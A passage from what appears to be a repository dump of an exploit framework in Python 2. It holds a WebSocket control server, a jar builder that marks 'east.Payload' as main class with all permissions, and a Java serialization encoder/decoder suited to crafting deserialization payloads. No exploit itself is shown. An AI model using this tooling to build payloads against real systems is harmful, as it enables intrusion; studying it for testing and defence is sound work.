self.data_to_write.put(chr(127))\n            self.data_to_write.put(struct.pack(\">Q\", length))\n        self.data_to_write.put(message)\n\n    def handle_read(self):\n        \"\"\"Read an incoming message from the client\"\"\"\n        if not self.handshake_done:\n            self.handshake()\n        elif self.valid_client:\n            self.read_next_message()\n\n    def handshake(self):\n        data = self.recv(1024).strip()\n        new_data = data.split('\\r\\n', 1)\n        if not new_data:\n            return\n        headers = Message(StringIO(data.split('\\r\\n', 1)[1]))\n        if headers.get(\"Upgrade\", None).lower() == \"websocket\":\n            key = headers['Sec-WebSocket-Key']\n            digest = b64encode(sha1(key + self.magic).hexdigest().decode('hex'))\n            response = 'HTTP/1.1 101 Switching Protocols\\r\\n'\n            response += 'Upgrade: websocket\\r\\n'\n            response += 'Connection: Upgrade\\r\\n'\n            response += 'Sec-WebSocket-Accept: %s\\r\\n\\r\\n' % digest\n            self.send(response)\n            self.handshake_done = True\n            self.valid_client = True\n\n    def read_bytes_splitted(self, num):\n        try:\n            bytes = self.read_bytes(num)\n        except socket.error as error:\n            if error.errno == errno.WSAECONNRESET:\n                return (None, None)\n        return map(ord, bytes)\n\n    def read_bytes(self, num):\n        data = self.buffer[:num]\n        self.buffer = self.buffer[num:]\n        return data\n\n    def recv_all(self, chunk=4096):\n        buffer = []\n        while 1:\n            try:\n                data = self.recv(chunk)\n                if not data:\n                    break\n                buffer.append(data)\n            except socket.error, e:\n                err = e.args[0]\n                if err == errno.EAGAIN or err == errno.EWOULDBLOCK:\n                    #  There is no data\n                    break\n        return \"\".join(buffer)\n\n    def read_next_message(self):\n        try:\n            self.buffer = self.recv_all()\n        except socket.error as error:\n            if error.errno == errno.WSAECONNRESET:\n                pass\n        try:\n            b1, b2 = self.read_bytes_splitted(2)\n        except:\n            self.keep_alive = False\n            return\n\n        if not b1:\n            self.keep_alive = False\n            return\n\n        opcode = b1 & OPCODE\n        masked = b2 & MASKED\n        payload_length = b2 & PAYLOAD_LEN\n\n        if opcode == CLOSE_CONN:\n            self.keep_alive = False\n            return\n        if not masked:\n            self.keep_alive = False\n            return\n\n        if payload_length == 126:\n            payload_length = struct.unpack(\">H\", self.read_bytes(2))[0]\n        elif payload_length == 127:\n            payload_length = struct.unpack(\">Q\", self.read_bytes(8))[0]\n\n        masks = self.read_bytes_splitted(4)\n        decoded = \"\"\n        for char in self.read_bytes_splitted(payload_length):\n            char ^= masks[len(decoded) % 4]\n            decoded += chr(char)\n        self.on_message(decoded)\n\n    def on_message(self, message):\n        message = parse_json(message)\n        if not message:\n            return\n        # Check for hello\n        if \"hello\" in message:\n            self.hello(message[\"hello\"], message['uuid'])\n            return\n        self.server.command_handler.execute(message, self)\n\n    def hello(self, args, uuid):\n        \"\"\"After connection to server client must do handshake sending its name and type\n        Params:\n                args: (dict)\n                args[\"name\"]: (String)\n                args[\"type\"]: (String) 'module', 'listener' or 'ui'\n        \"\"\"\n        name = self.check_and_make_unique_name(args[\"name\"])\n        type = args[\"type\"]\n        self.type = type\n        self.name = name\n        self.logger.info(\"Hello,\" + self.name)\n        self.send_message(dict(command=\"on_callback\", uuid=uuid))\n\n    def check_and_make_unique_name(self, name, suffix=1):\n        names = [client.name for client in self.server.clients.values()]\n        if name not in names:\n            return name\n        new_name = \"%s(%s)\" % (name, suffix)\n        if new_name in names:\n            suffix += 1\n            return self.check_and_make_unique_name(name, suffix)\n        else:\n            return name\n\n    def handle_close(self):\n        self.close()\n        if self.socket in self.server.clients:\n            del self.server.clients[self.socket]\n\n\ndef parse_json(message):\n    if not message:\n        return None\n    try:\n        data = json.loads(message)\n    except Exception, e:\n        print(e)\n        logging.getLogger(__name__).exception(e)\n        return None\n    return data\n\n\ndef json_encode(message):\n    if not message:\n        return message\n    try:\n        data = json.dumps(message)\n    except Exception, e:\n        print(e)\n        logging.getLogger(__name__).exception(e)\n        return None\n    return data\n\n\nif __name__ == '__main__':\n    import socket\n    logging.basicConfig(level=logging.DEBUG,\n                        format='%(name)s: %(message)s',\n                        )\n\n    host, port = ('', 49999) # let the kernel give us a port\n    server = WebSocketServer(host, port, 1000)\n    asyncore.loop()"
  },
  {
    "path": "core/__init__.py",
    "content": ""
  },
  {
    "path": "core/helpers/__init__.py",
    "content": ""
  },
  {
    "path": "core/helpers/archieve/__init__.py",
    "content": ""
  },
  {
    "path": "core/helpers/archieve/jar.py",
    "content": "from zip import Zip\nimport os\n\nclass Jar(Zip):\n    def __init__(self, filename=''):\n        Zip.__init__(self, filename)\n        self.manifest = self.get_manifest()\n        self.is_manifest_created = False\n\n    def get_manifest(self, main_class='east.Payload'):\n        manifest = 'Manifest-Version: 1.0\\n'\n        manifest += 'Main-Class: %s\\n' % main_class\n        manifest += 'Permissions: all-permissions\\n\\n'\n        return manifest\n\n    def add_file(self, name, content='', write_to_manifest=True):\n        Zip.add_file(self, name, content)\n        if write_to_manifest:\n            self.__add_file_to_manifest(name)\n\n    def __add_file_to_manifest(self, filename):\n        self.manifest += \"Name: {filename}\\n\\n\".format(filename=filename)\n\n    def create_manifest(self):\n        self.add_file(\"META-INF/MANIFEST.MF\", self.manifest, write_to_manifest=False)\n        self.is_manifest_created = True\n\n    def get_raw(self, remove_temp=False):\n        if not self.is_manifest_created:\n            self.create_manifest()\n        if not self.name:\n            print('You should create jar file before get raw content')\n        with open(self.name, 'rb') as f:\n            content = f.read()\n        if remove_temp:\n            os.remove(self.name)\n        return content\n\n    def get_jar(self):\n        if not self.is_manifest_created:\n            self.create_manifest()\n        return self.name\n"
  },
  {
    "path": "core/helpers/archieve/zip.py",
    "content": "import zipfile\nimport os\n\nclass Zip:\n    def __init__(self, filename=''):\n        self.name = filename\n        self.files = []\n        if filename:\n            self.create_archieve(filename)\n\n    def create_archieve(self, filename):\n        if not self.name:\n            self.name = filename\n        zf = zipfile.ZipFile(filename, 'w')\n        zf.close()\n\n    def add_file(self, name, content=''):\n        if not self.is_valid(name):\n            return\n        zf = zipfile.ZipFile(self.name, 'a')\n        if content:\n            zf.writestr(name, content)\n        else:\n            zf.write(name)\n        zf.close()\n        self.files\n\n\n    def is_valid(self, filename=''):\n        if not self.name:\n            raise Exception(\"Error. Zip archieve is not created.\")\n            return False\n        if not zipfile.is_zipfile(self.name):\n            raise Exception(\"Error. File {name} is not zip archieve.\".format(name=self.name))\n            return False\n        if filename and filename in self.files:\n            raise Exception(\"Error. There is file with the same name.\")\n            return False\n        return True\n"
  },
  {
    "path": "core/helpers/java/Serialization.py",
    "content": "import struct\n\n\nclass Constants:\n    STREAM_MAGIC = 0xaced\n    STREAM_VERSION = 5\n    TC_NULL = 0x70\n    TC_REFERENCE = 0x71\n    TC_CLASSDESC = 0x72\n    TC_OBJECT = 0x73\n    TC_STRING = 0x74\n    TC_ARRAY = 0x75\n    TC_CLASS = 0x76\n    TC_BLOCKDATA = 0x77\n    TC_ENDBLOCKDATA = 0x78\n    TC_RESET = 0x79\n    TC_BLOCKDATALONG = 0x7A\n    TC_EXCEPTION = 0x7B\n    TC_LONGSTRING = 0x7C\n    TC_PROXYCLASSDESC = 0x7D\n    TC_ENUM = 0x7E\n    BASE_WIRE_HANDLE = 0x7E0000\n    PRIMITIVE_TYPE_CODES = {\n        'B': 'byte',\n        'C': 'char',\n        'D': 'double',\n        'F': 'float',\n        'I': 'int',\n        'J': 'long',\n        'S': 'short',\n        'Z': 'boolean'\n    }\n    OBJECT_TYPE_CODES = {\n        '[': 'array',\n        'L': 'object'\n    }\n    TYPE_CODES = {}\n    TYPE_CODES.update(PRIMITIVE_TYPE_CODES)\n    TYPE_CODES.update(OBJECT_TYPE_CODES)\n\n    SC_WRITE_METHOD = 0x01  # if SC_SERIALIZABLE\n    SC_BLOCK_DATA = 0x08  # if SC_EXTERNALIZABLE\n    SC_SERIALIZABLE = 0x02\n    SC_EXTERNALIZABLE = 0x04\n    SC_ENUM = 0x10\n\n\nclass Element:\n    def __init__(self, stream=\"\"):\n        self.stream = stream\n\n    def decode(self, io):\n        return self\n\n    def encode(self):\n        return ''\n\n    def __str__(self):\n        return self.__class__.__name__\n\n\nclass Annotation(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.contents = []\n\n    def decode(self, io):\n        while True:\n            content = decode_content(io, self.stream)\n            self.contents.append(content)\n            if content.__class__ is EndBlockData:\n                return self\n        return self\n\n    def encode(self):\n        if not self.contents:\n            raise Exception('Failed to serialize Annotation with empty contents')\n        encoded = ''\n        for content in self.contents:\n            encoded += encode_content(content)\n        return encoded\n\n    def __str__(self):\n        str = '['\n        data = [content.__str__() for content in self.contents]\n        str += ', '.join(data)\n        str += ']'\n        return str\n\n\nclass BlockData(Element):\n    def __init__(self, stream=None, contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(1)\n        if not raw_length:\n            raise Exception('Failed to unserialize BlockData')\n        self.length = struct.unpack('>B', raw_length)[0]\n        if self.length == 0:\n            self.contents = ''\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize BlockData')\n        return self\n\n    def encode(self):\n        encoded = struct.pack(\">B\", self.length)\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        ret = '['\n        ret += ', '.join(\"0x%s\" % byte.encode('hex') for byte in self.contents)\n        ret += ']'\n        return ret\n\n\n\nclass BlockDataLong(Element):\n    def __init__(self, stream=None, contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(4)\n        if not raw_length or len(raw_length) != 4:\n            raise Exception('Failed to unserialize BlockDataLong')\n        self.length = struct.unpack('>i', raw_length)[0]\n        if self.length == 0:\n            self.contents = ''\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize BlockDataLong')\n        return self\n\n    def encode(self):\n        encoded = struct.pack(\">I\", [self.length])\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        return self.contents.__str__()\n\n\nclass ClassDesc(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.description = None\n\n    def decode(self, io):\n        content = decode_content(io, self.stream)\n        allowed_content = [NullReference, NewClassDesc, Reference, ProxyClassDesc]\n        if content.__class__ not in allowed_content:\n            raise Exception('ClassDesc unserialize failed')\n        self.description = content\n        return self\n\n    def encode(self):\n        encoded = ''\n        allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]\n        if self.description.__class__ not in allowed_contents:\n            raise Exception('ClassDesc unserialize failed')\n        encoded += encode_content(self.description)\n        return encoded\n\n    def __str__(self):\n        return print_content(self.description)\n\nclass EndBlockData(Element):\n    pass\n\n\nclass Field(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.type = ''\n        self.name = None\n        self.field_type = None\n\n    def decode(self, io):\n        code = io.read(1)\n        if not code or not self.is_valid(code):\n            raise Exception('Failed to unserialize Field')\n        self.type = Constants.TYPE_CODES[code]\n        utf = Utf(self.stream)\n        self.name = utf.decode(io)\n        if self.is_object():\n            self.field_type = self.decode_field_type(io)\n        return self\n\n    def encode(self):\n        if self.name.__class__ is not Utf:\n            raise Exception('Failed to serialize Field')\n        if not self.is_type_valid():\n            raise Exception('Failed to serialize Field')\n        encoded = ''\n        encoded += get_key_by_value(Constants.TYPE_CODES, self.type)\n        encoded += self.name.encode()\n\n        if self.is_object():\n            encoded += self.encode_field_type()\n        return encoded\n\n    def is_type_valid(self):\n        if self.type in Constants.TYPE_CODES.values():\n            return True\n        return False\n\n    def is_primitive(self):\n        if self.type in Constants.PRIMITIVE_TYPE_CODES.values():\n            return True\n        return False\n\n    def is_object(self):\n        if self.type in Constants.OBJECT_TYPE_CODES.values():\n            return True\n        return False\n\n    def is_valid(self, code):\n        if code in Constants.TYPE_CODES.keys():\n            return True\n        return False\n\n    def encode_field_type(self):\n        allowed_contents = [Utf, Reference]\n        if self.field_type.__class__ not in allowed_contents:\n            raise Exception('Failed to serialize Field')\n        encoded = encode_content(self.field_type)\n        return encoded\n\n    def decode_field_type(self, io):\n        allowed_contents = [Utf, Reference]\n        type = decode_content(io, self.stream)\n        if type.__class__ not in allowed_contents:\n            raise Exception('Failed to serialize Field')\n        return type\n\n    def __str__(self):\n        ret = self.name.__str__()\n        if self.is_primitive():\n            ret += \" (%s)\" % self.type\n        else:\n            ret += \" (%s)\" % self.field_type\n        return ret\n\n\nclass NewArray(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.array_description = None\n        self.type = ''\n        self.values = []\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.array_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.type = self.array_type()\n        values_length = self.decode_values_length(io)\n        for i in range(values_length):\n            value = self.decode_value(io)\n            self.values.append(value)\n        return self\n\n    def encode(self):\n        if self.array_description.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize NewArray')\n        encoded = ''\n        encoded += self.array_description.encode()\n        encoded += struct.pack(\">I\", len(self.values))\n        for value in self.values:\n            encoded += self.encode_value(value)\n        return encoded\n\n    def decode_values_length(self, io):\n        values_length = io.read(4)\n        if not values_length or len(values_length) != 4:\n            raise Exception('Failed to unserialize NewArray')\n        return struct.unpack('>I', values_length)[0]\n\n    def array_type(self):\n        if not self.array_description:\n            raise Exception('Empty NewArray description')\n        if self.array_description.__class__ is not ClassDesc:\n            raise Exception('Unsupported NewArray description class')\n        desc = self.array_description.description\n        if desc.__class__ is Reference:\n            ref = desc.handle - Constants.BASE_WIRE_HANDLE\n            desc = self.stream.references[ref]\n        if desc.class_name.contents[0] != '[': #array\n            raise Exception('Unsupported NewArray description')\n        decoded_type = desc.class_name.contents[1]\n        if decoded_type in Constants.PRIMITIVE_TYPE_CODES.keys():\n            return Constants.PRIMITIVE_TYPE_CODES[decoded_type]\n        elif decoded_type == 'L': #object\n            return desc.class_name.contents[2:desc.class_name.contents.index(';')]\n        else:\n            raise Exception('Unsupported NewArray Type')\n\n    def decode_value(self, io):\n        if self.type == 'byte':\n            value = io.read(1)\n            if not value:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>B', value)[0]\n        elif self.type == 'char':\n            value = io.read(2)\n            if not value or len(value) != 2:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>ss', value)[0]\n        elif self.type == 'boolean':\n            value = io.read(1)\n            if not value:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>B', value)[0]\n        elif self.type == 'short':\n            value = io.read(2)\n            if not value or len(value) != 2:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>H', value)[0]\n        elif self.type == 'int':\n            value = io.read(4)\n            if not value or len(value) != 4:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>I', value)[0]\n        elif self.type == 'long':\n            value = io.read(8)\n            if not value or len(value) != 8:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>Q', value)[0]\n        elif self.type == 'float':\n            value = io.read(4)\n            if not value or len(value) != 4:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>F', value)[0]\n        elif self.type == 'double':\n            value = io.read(8)\n            if not value or len(value) != 8:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>D', value)[0]\n        else:\n            value = decode_content(io, self.stream)\n        return value\n\n    def encode_value(self, value):\n        if self.type == 'byte':\n            res = struct.pack('>B', value)\n        elif self.type == 'char':\n            res = struct.pack('>ss', value)\n        elif self.type == 'double':\n            res = struct.pack('>D', value)\n        elif self.type == 'float':\n            res = struct.pack('>F', value)\n        elif self.type == 'int':\n            res = struct.pack('>I', value)\n        elif self.type == 'long':\n            res = struct.pack('>Q', value)\n        elif self.type == 'short':\n            res = struct.pack('>H', value)\n        elif self.type == 'boolean':\n            res = struct.pack('>B', value)\n        elif self.type.__class__ is Element:\n            res = value.encode()\n        else:\n            res = encode_content(value)\n        return res\n\n    def __str__(self):\n        ret = self.type.__str__() + ', '\n        ret += '\\n'.join(value.__str__() for value in self.values)\n        return ret\n\n\nclass NewClass(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.class_description = None\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.class_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        return self\n\n    def encode(self):\n        if self.class_description.__class__ != ClassDesc:\n            raise Exception('Failed to serialize NewClass')\n        encoded = ''\n        encoded += self.class_description.encode()\n        return encoded\n\n    def __str__(self):\n        return self.class_description.__str__()\n\n\nclass NewClassDesc(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.class_name = \"\"\n        self.serial_version = 0\n        self.flags = 0\n        self.fields = []\n        self.class_annotation = None\n        self.super_class = None\n\n    def decode(self, io):\n        utf = Utf(self.stream)\n        self.class_name = utf.decode(io)\n        self.serial_version = self.decode_serial_version(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.flags = self.decode_flags(io)\n        field_length = self.decode_fields_length(io)\n        for i in range(0, field_length):\n            temp_field = Field(self.stream)\n            field = temp_field.decode(io)\n            self.fields.append(field)\n        annotation = Annotation(self.stream)\n        super_class = ClassDesc(self.stream)\n        self.class_annotation = annotation.decode(io)\n        self.super_class = super_class.decode(io)\n        return self\n\n    def encode(self):\n        if self.class_name.__class__ is not Utf and self.class_annotation.__class__ is not Annotation and self.super_class.__class__ is not ClassDesc:\n            raise Exception('Filed to serialize NewClassDesc')\n        encoded = ''\n        encoded += self.class_name.encode()\n        encoded += struct.pack('>Q', self.serial_version)\n        encoded += struct.pack('>B', self.flags)\n        encoded += struct.pack('>H', len(self.fields))\n        for field in self.fields:\n            encoded += field.encode()\n        encoded += self.class_annotation.encode()\n        encoded += self.super_class.encode()\n        return encoded\n\n    def decode_serial_version(self, io):\n        raw_serial = io.read(8)\n        if not raw_serial or len(raw_serial) != 8:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>Q', raw_serial)[0]\n\n    def decode_flags(self, io):\n        raw_flags = io.read(1)\n        if not raw_flags:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>b', raw_flags)[0]\n\n    def decode_fields_length(self, io):\n        fields_length = io.read(2)\n        if not fields_length or len(fields_length) != 2:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>h', fields_length)[0]\n\n    def __str__(self):\n        ret = self.class_name.__str__() + \", [\"\n        ret += ', '.join(field.__str__() for field in self.fields)\n        ret += ']'\n\n        # if self.super_class.description.__class__ is NewClassDesc:\n        #     ret += \", super_class: \" + self.super_class.description.class_name.__str__()\n        # elif self.super_class.description.__class__ is Reference:\n        #     ret += \", super_class: \" + self.super_class.description.__str__()\n        return ret\n\n\nclass NewEnum(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.enum_description = None\n        self.constant_name = None\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.enum_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.constant_name = self.decode_constant_name(io)\n        return self\n\n    def encode(self):\n        if self.enum_description.__class__ is not ClassDesc or self.constant_name.__class__ is not Utf:\n            raise Exception('Failed to serialize EnumDescription')\n        encoded = ''\n        encoded += self.enum_description.encode()\n        encoded += encode_content(self.constant_name)\n        return encoded\n\n    def decode_constant_name(self, io):\n        content = decode_content(io, self.stream)\n        if content.__class__ is not Utf:\n            raise Exception('Failed to unserialize NewEnum')\n        return content\n\n\nclass NewObject(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.class_desc = None\n        self.class_data = []\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.class_desc = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n\n        if self.class_desc.description.__class__ is NewClassDesc:\n            self.class_data = self.decode_class_data(io, self.class_desc.description)\n        elif self.class_desc.description.__class__ is Reference:\n            ref = self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE\n            self.class_data = self.decode_class_data(io, self.stream.references[ref])\n        return self\n\n    def encode(self):\n        if self.class_desc.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize NewObject')\n        encoded = ''\n        encoded += self.class_desc.encode()\n        for value in self.class_data:\n            if type(value) is list:\n                encoded += self.encode_value(value)\n            else:\n                encoded += encode_content(value)\n        return encoded\n\n    def decode_class_data(self, io, my_class_desc):\n        values = []\n        if my_class_desc.super_class.description.__class__ is not NullReference:\n            if my_class_desc.super_class.description.__class__ is Reference:\n                ref = my_class_desc.super_class.description.handle - Constants.BASE_WIRE_HANDLE\n                values.extend(self.decode_class_data(io, self.stream.references[ref]))\n            else:\n                values.extend(self.decode_class_data(io, my_class_desc.super_class.description))\n        values.extend(self.decode_class_fields(io, my_class_desc))\n        return values\n\n    def decode_class_fields(self, io, my_class_desc):\n        values = []\n        for field in my_class_desc.fields:\n            if field.is_primitive():\n                values.append(self.decode_value(io, field.type))\n            else:\n                content = decode_content(io, self.stream)\n                values.append(content)\n        return values\n\n    def decode_value(self, io, type):\n        if type == 'byte':\n            value_raw = io.read(1)\n            val = struct.unpack(\">b\", value_raw)[0]\n            value = ['byte', val]\n        elif type == 'char':\n            value_raw = io.read(2)\n            val = struct.unpack(\">h\", value_raw)[0]\n            value = ['char', val]\n        elif type == 'boolean':\n            value_raw = io.read(1)\n            val = struct.unpack(\">B\", value_raw)[0]\n            value = ['boolean', val]\n        elif type == 'short':\n            value_raw = io.read(2)\n            val = struct.unpack(\">h\", value_raw)[0]\n            value = ['short', val]\n        elif type == 'int':\n            value_raw = io.read(4)\n            val = struct.unpack(\">i\", value_raw)[0]\n            value= ['int', val]\n        elif type == 'long':\n            value_raw = io.read(8)\n            val = struct.unpack(\">q\", value_raw)[0]\n            value = ['long', val]\n        elif type == 'float':\n            value_raw = io.read(4)\n            val = struct.unpack(\">f\", value_raw)[0]\n            value = ['float', val]\n        elif type == 'double':\n            value_raw = io.read(8)\n            val = struct.unpack(\">d\", value_raw)[0]\n            value = ['double', val]\n        else:\n            raise Exception(\"Unknown typecode: %s\" % type)\n        return value\n\n    def encode_value(self, value):\n        res = ''\n        if value[0] == 'byte':\n            res = struct.pack('>b', value[1])\n        elif value[0] == 'char':\n            res = struct.pack('>h', value[1])\n        elif value[0] == 'double':\n            res = struct.pack('>d', value[1])\n        elif value[0] == 'float':\n            res = struct.pack('>f', value[1])\n        elif value[0] == 'int':\n            res = struct.pack('>i', value[1])\n        elif value[0] == 'long':\n            res = struct.pack('>Q', value[1])\n        elif value[0] == 'short':\n            res = struct.pack('>h', value[1])\n        elif value[0] == 'boolean':\n            res = struct.pack('>B', value[1])\n        else:\n            raise Exception('Unsupported NewArray type')\n        return res\n\n    def __str__(self):\n        ret = ''\n        if self.class_desc.description.__class__ is NewClassDesc:\n            ret += self.class_desc.description.class_name.__str__()\n        elif self.class_desc.description.__class__ is ProxyClassDesc:\n            ret += ','.join(iface.contents.__str__() for iface in self.class_desc.description.interfaces)\n        elif self.class_desc.description.__class__ is Reference:\n            ret += hex(self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE)\n        ret += ' => {'\n        data_str = ', '.join(data.__str__() for data in self.class_data)\n        ret += data_str\n        ret += '}'\n        return ret\n\n\nclass NullReference(Element):\n    pass\n\n\nclass ProxyClassDesc(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.interfaces = []\n        self.class_annotation = None\n        self.super_class = None\n\n    def decode(self, io):\n        if self.stream:\n            self.stream.add_reference(self)\n        interfaces_length = self.decode_interfaces_length(io)\n        for i in range(0, interfaces_length):\n            utf = Utf(self.stream)\n            interface = utf.decode(io)\n            self.interfaces.append(interface)\n        annotation = Annotation(self.stream)\n        super_class = ClassDesc(self.stream)\n        self.class_annotation = annotation.decode(io)\n        self.super_class = super_class.decode(io)\n        return self\n\n    def encode(self):\n        if self.class_annotation.__class__ is not Annotation and self.super_class.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize ProxyClassDesc')\n        encoded = ''\n        encoded += struct.pack('>I', len(self.interfaces))\n        for interface in self.interfaces:\n            encoded += interface.encode()\n        encoded += self.class_annotation.encode()\n        encoded += self.super_class.encode()\n        return encoded\n\n    def decode_interfaces_length(self, io):\n        field_length = io.read(4)\n        if not field_length or len(field_length) != 4:\n            raise Exception('Failed to unserialize ProxyClassDesc')\n        return struct.unpack('>I', field_length)[0]\n\n    def __str__(self):\n        ret = '['\n        interfaces_str = ', '.join(interface.__str__() for interface in self.interfaces)\n        ret += interfaces_str + ']'\n        if self.super_class.description.__class__ is NewClassDesc:\n            ret += \", super_class: \" + self.super_class.description.class_name.__str__()\n        elif self.super_class.description.__class__ is Reference:\n            ret += \", super_class: \" + self.super_class.description.__str__()\n        return ret\n\n\n\nclass Reference(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.handle = 0\n\n    def decode(self, io):\n        handle_raw = io.read(4)\n        if not handle_raw or len(handle_raw) != 4:\n            raise Exception('Failed to unserialize Reference')\n        self.handle = struct.unpack('>I', handle_raw)[0]\n        return self\n\n    def encode(self):\n        if self.handle < Constants.BASE_WIRE_HANDLE:\n            raise Exception('Failed to serialize Reference')\n        encoded = \"\"\n        encoded += struct.pack('>I', self.handle)\n        return encoded\n\n    def __str__(self):\n        return hex(self.handle)\n\n\nclass Reset(Element):\n    pass\n\n\nclass Stream(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.magic = Constants.STREAM_MAGIC\n        self.version = Constants.STREAM_VERSION\n        self.contents = []\n        self.references = []\n\n    def decode(self, io):\n        self.magic = self.decode_magic(io)\n        self.version = self.decode_version(io)\n        try:\n            while 1:\n                content = decode_content(io, self)\n                self.contents.append(content)\n        except EOFError:\n            pass\n        return self\n\n    def encode(self):\n        encoded = ''\n        encoded += struct.pack('>H', self.magic)\n        encoded += struct.pack('>H', self.version)\n        for content in self.contents:\n            encoded += encode_content(content)\n        return encoded\n\n    def add_reference(self, ref):\n        self.references.append(ref)\n\n    def decode_magic(self, io):\n        magic = io.read(2)\n        if magic and len(magic) == 2 and struct.unpack('>H', magic)[0] == Constants.STREAM_MAGIC:\n            return Constants.STREAM_MAGIC\n        else:\n            raise Exception(\"Failed to unserialize Stream\")\n\n    def decode_version(self, io):\n        version = io.read(2)\n        if version and struct.unpack('>H', version)[0] == Constants.STREAM_VERSION:\n            return Constants.STREAM_VERSION\n        else:\n            raise Exception('Failed to unserialize Stream')\n\n\nclass Utf(Element):\n    def __init__(self, stream='', contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(2)\n        if not raw_length or len(raw_length) != 2:\n            raise Exception('Failed to unserialize Utf')\n        self.length = struct.unpack('>H', raw_length)[0]\n        if self.length == 0:\n            self.contents = \"\"\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize Utf')\n        return self\n\n    def encode(self):\n        encoded = struct.pack('>H', self.length)\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        return self.contents\n\n\nclass LongUtf(Utf):\n    def decode(self, io):\n        raw_length = io.read(8)\n        if not raw_length or len(raw_length) != 8:\n            raise Exception('Failed to unserialize LongUtf')\n        self.length = struct.unpack('>Q', raw_length)[0]\n        if self.length == 0:\n            self.contents = \"\"\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize LongUtf')\n        return self\n\n    def encode(self):\n        encoded = struct.pack('>Q', [self.length])\n        encoded += self.contents\n        return encoded\n\n\ndef decode_content(io, stream):\n    opcode = io.read(1)\n    if not opcode:\n        raise EOFError()\n    opcode = struct.unpack('>B', opcode)[0]\n    if opcode == Constants.TC_BLOCKDATA:\n        block_data = BlockData(stream)\n        content = block_data.decode(io)\n    elif opcode == Constants.TC_BLOCKDATALONG:\n        block_data_long = BlockDataLong(stream)\n        content = block_data_long.decode(io)\n    elif opcode == Constants.TC_ENDBLOCKDATA:\n        end_bd = EndBlockData(stream)\n        content = end_bd.decode(io)\n    elif opcode == Constants.TC_OBJECT:\n        new_object = NewObject(stream)\n        content = new_object.decode(io)\n    elif opcode == Constants.TC_CLASS:\n        new_class = NewClass(stream)\n        content = new_class.decode(io)\n    elif opcode == Constants.TC_ARRAY:\n        new_array = NewArray(stream)\n        content = new_array.decode(io)\n    elif opcode == Constants.TC_STRING:\n        utf = Utf(stream)\n        content = utf.decode(io)\n        if stream:\n            stream.add_reference(content)\n    elif opcode == Constants.TC_LONGSTRING:\n        long_utf = LongUtf(stream)\n        content = long_utf.decode(io)\n        if stream:\n            stream.add_reference(content)\n    elif opcode == Constants.TC_ENUM:\n        new_enum = NewEnum(stream)\n        content = new_enum.decode(io)\n    elif opcode == Constants.TC_CLASSDESC:\n        new_class_desc = NewClassDesc(stream)\n        content = new_class_desc.decode(io)\n    elif opcode == Constants.TC_PROXYCLASSDESC:\n        proxy = ProxyClassDesc(stream)\n        content = proxy.decode(io)\n    elif opcode == Constants.TC_REFERENCE:\n        ref = Reference(stream)\n        content = ref.decode(io)\n    elif opcode == Constants.TC_NULL:\n        ref = NullReference(stream)\n        content = ref.decode(io)\n    elif opcode == Constants.TC_EXCEPTION:\n        raise Exception(\"Failed to unserialize unsupported TC_EXCEPTION content\")\n    elif opcode == Constants.TC_RESET:\n        reset = Reset(stream)\n        content = reset.decode(io)\n    else:\n        raise Exception('Failed to unserialize content')\n    return content\n\n\ndef encode_content(content):\n    # TODO encode content\n    encoded = ''\n    if content.__class__ is BlockData:\n        